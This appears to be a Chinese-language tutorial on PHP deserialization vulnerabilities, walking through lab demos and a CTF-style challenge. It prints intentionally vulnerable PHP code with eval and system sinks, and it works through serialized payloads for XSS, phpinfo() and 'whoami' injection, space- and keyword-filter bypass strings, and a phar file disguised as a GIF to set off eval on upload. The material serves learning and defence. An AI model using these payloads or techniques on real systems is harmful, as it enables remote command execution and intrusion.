在进行反序列化时会执行类中的魔法函数,如果魔法函数的参数是输入可控的那么就可能造成命令执行漏洞
pikachu 界面如下:
查看后端部分源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 class S { var $test = "pikachu" ; function __wakeup ( ) { echo $this ->test; sleep(5 ); } } $html ='' ;if (isset ($_POST ['o' ])){ $s = $_POST ['o' ]; if (!@$unser = unserialize($s )){ $html .="<p>大兄弟,来点劲爆点儿的!</p>" ; }else { $html .="<p>{$unser->test} </p>" ; } } ?>
发现没有对输入做任何过滤,那就随便构造payload
O:1:”S”:1:{s:4:”test”;s:29:”<script>alert('xss')</script>“;}
传到后端后首先反序列化,然后调用wakeup魔法函数,即回显test变量,这个时候前台就会弹窗xss
漏洞实例 最简单的一个demo 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Test { public $str ='GGG' ; function __destruct ( ) { @eval ($this ->str); } } $test = new Test(); echo serialize($test ); echo "<hr />" ; var_dump(unserialize($_GET ['obj' ])); ?>
输入如下:
http://127.0.0.1/fanxu/1.php?obj=O:4:"Test":1:{s:3:"str";s:10:"phpinfo();";}
成功回显
利用反序列化漏洞来进行命令执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class home { private $method ; private $args ; function __construct ($method ,$args ) { $this ->method=$method ; $this ->args=$args ; } function __destruct ( ) { if (in_array($this ->method,array ("ping" ))){ call_user_func_array(array ($this ,$this ->method),$this ->args); } } function ping ($host ) { echo system("ping -c 2 $host " ); } function waf ($str ) { $str =str_replace(' ' ,'' ,$str ); return $str ; } function __wakeup ( ) { $this ->waf($this ->args); } } $a =@$_POST ['a' ];@unserialize($a ); ?>
由代码看出来执行顺序为$a->unserialize->wakeup->waf->destruct->ping
当我们反序列化时首先执行wakeup函数,它会将args变量送入waf进行过滤,该waf较为简单只是过滤了空格
destruct函数规定了method必须为ping
call_user_func_array的参数必须是数组类型,所以$this->args必须是数组
注意:
类中属性为private时,表示方式是在属性名前加上 %00类名%00
类中属性为protected时,表示方式是在属性名前加上 %00 %00 *
构造序列化字符串如下:
O:4:”home”:2:{s:12:”%00home%00method”;s:4:”ping”;s:10:”%00home%00args”;a:1:{i:0;s:16:”127.0.0.1|whoami”;};}
成功回显:
空格过滤绕过 waf对于空格进行了过滤,如果我们要查看当前目录下的flag.txt时,type或者cat都有空格
那么可以通过如下来绕过空格
type.\flag.txt
type,flag.txt
cat${IFS}flag.txt
cat$flag.txt
cat<flag.txt
cat<>flag.txt
{cat,flag.txt}
demo 3(增强waf) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 1 <?php 2 error_reporting(0 ); 3 class come { 4 private $method ; 5 private $args ; 6 function __construct ($method , $args ) { 7 $this ->method = $method ; 8 $this ->args = $args ; 9 } 10 function __wakeup ( ) {11 foreach ($this ->args as $k => $v ) {12 $this ->args[$k ] = $this ->waf(trim($v ));13 }14 }15 function waf ($str ) {16 $str =preg_replace("/[<>*;|?\n ]/" ,"" ,$str );17 $str =str_replace('flag' ,'' ,$str );18 return $str ;19 } 20 function echos ($host ) {21 system("echo $host " .$host );22 }23 function __destruct ( ) {24 if (in_array($this ->method, array ("echos" ))) {25 call_user_func_array(array ($this , $this ->method), $this ->args);26 }27 } 28 29 }30 31 $first ='hi' ;32 $var ='var' ;33 $bbb ='bbb' ;34 $ccc ='ccc' ;35 $i =1 ;36 foreach ($_GET as $key => $value ) {37 if ($i ===1 )38 {39 $i ++; 40 $$key = $value ;41 }42 else {break ;}43 }44 if ($first ==="doller" )45 {46 @parse_str($_GET ['a' ]);47 if ($var ==="give" )48 {49 if ($bbb ==="me" )50 {51 if ($ccc ==="flag" )52 {53 echo "<br>welcome!<br>" ;54 $come =@$_POST ['come' ];55 unserialize($come ); 56 }57 }58 else 59 {echo "<br>think about it<br>" ;}60 }61 else 62 {63 echo "NO" ;64 }65 }66 else 67 {68 echo "Can you hack me?<br>" ;69 }70 ?>
这是一道反序列化的题目
首先如果要进行反序列化操作,那么就要通过前面的各种if
parse_str函数
表示将字符串解析成多个变量,语法是parse_str(string,array)
比如parse_str(“name=Bill&age=60”)
就相当于
$name=”Bill”;
$age=60;
输入
http://127.0.0.1/fanxu/3.php?first=doller&a=var=give%26bbb=me%26ccc=flag
注意前面一个是&,后面两个是&的url编码%26,因为只有这样服务器才知道参数a的值为var=give&bbb=me&ccc=flag,从而给这三个变量赋值
这时候通过了所有的if判断,页面回显如下:
说明我们进入到反序列化步骤啦,这时候hackbar来构造我们的come参数
在反序列化时首先会执行wakeup函数
从foreach可以看出我们传入的args变量必须是数组,然后wakeup会将args的值送到waf中进行过滤再返回回来
然后会执行destruct函数
它使用了call_user_func_array这个php内置的方法,第一个参数是要调用的函数,第二个参数必须 是一个数组,用于给调用的函数传参。
我们看看进入call_user_func_array()函数前的if判断,它判断我们要调用的函数名是否在一个允许调用的列表里,而这个列表就只有echos这一个函数,也就是说我们的method变量已经限定死了,必须为echos。
执行echos函数
对于echos函数,他可以执行system函数,我们就想可能存在命令执行漏洞
思路:
1、通过反序列化控制method和args两个成员变量来绕过waf
2、 method必须是echos不然通不过if判断
3、通过call_user_func_array()函数第一个参数调用本类中的echos方法,第二个参数给方法传参-
4、由于echos方法中的system函数的参数是拼接形参的,完成命令注入。
我们进行命令注入最主要就是绕过waf,我们来看看waf干了啥:
1 2 $str =preg_replace("/[<>*;|?\n ]/" ,"" ,$str );$str =str_replace('flag' ,'' ,$str );
过滤掉了[<>*;|?\n ],flag这些字符,其中过滤掉了|我们还有&可以用
&是不管前后命令是否执行成功都会执行前后命令
过滤掉了空格可以用demo2的方法
过滤掉flag可以通过双写绕过
其他的过滤符号对我们命令执行也没啥限制
构造come参数如下:
come=O:4:”come”:2:{s:12:”%00come%00method”;s:5:”echos”;s:10:”%00come%00args”;a:1:{i:0;s:19:”%26type.\flaflagg.txt”;};}
成功拿到flag
https://cloud.tencent.com/developer/article/1485821
phar://来触发反序列化 某些情况下没有unserialize()函数进行反序列化时,可以使用文件系统函数配合phar://来进行反序列化
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
原理 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大。但在不久前的Black Hat上,安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数 (file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议 ,可以不依赖unserialize()直接进行反序列化操作。这让一些看起来“人畜无害”的函数变得“暗藏杀机”
phar文件结构
stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化 的形式存储用户自定义的meta-data,这是攻击手法最核心的地方。
contents 被压缩文件的内容。
signature 签名,放在文件末尾。
demo测试 首先创建一个phar文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class TestObject { } @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new TestObject(); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); ?>
运行后就会生成一个phar文件
用记事本查看
明显可以看到meta-data是以序列化的形式存储的
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数 在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
测试利用phar文件加文件函数反序列化:
1 2 3 4 5 6 7 8 9 10 <?php class TestObject { public function __destruct ( ) { echo 'Destruct called' ; } } $filename = 'phar://phar.phar/test.txt' ; file_get_contents($filename ); ?>
可以看到成功反序列化了
那么我们就可以通过文件上传的方式来触发反序列化漏洞:
后端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['filename' ])){ $filename =$_GET ['filename' ]; class heello { var $output ='echo "heello!";' ; function __destruct ( ) { eval ($this ->output); } } file_exists($filename ); } else { highlight_file(__FILE__ ); } ?>
本地构造phar文件并上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class heello { var $output ='phpinfo();' ; } @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new heello(); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); ?>
可以看到成功命令执行:
这里虽然没有unserialize()执行反序列化,但可以结合file_exists()函数在通过phar://伪协议解析phar文件时,会将meta-data进行反序列化,进而触发__destruct()函数,利用eval()函数达到命令执行。
将phar伪造成其他格式的文件 在进行文件上传时可能会遇到文件名后缀,以及文件内容检测。而php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class heello { var $output ='phpinfo();' ; } @unlink("phar.phar" ); $phar = new Phar("phar.phar" ); $phar ->startBuffering(); $phar ->setStub("GIF89a" ."<?php __HALT_COMPILER(); ?>" ); $o = new heello(); $phar ->setMetadata($o ); $phar ->addFromString("test.txt" , "test" ); $phar ->stopBuffering(); ?>
这样给文件加了一个gif的头
然后对生成的phar文件改名123.gif
这样在上传的时候就可以绕过大部分的上传验证
上传完后触发漏洞:
总结 利用条件:
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
https://www.wawyw.top/posts/46951.html
https://www.freebuf.com/column/198945.html
https://paper.seebug.org/680/
https://cloud.tencent.com/developer/article/1485821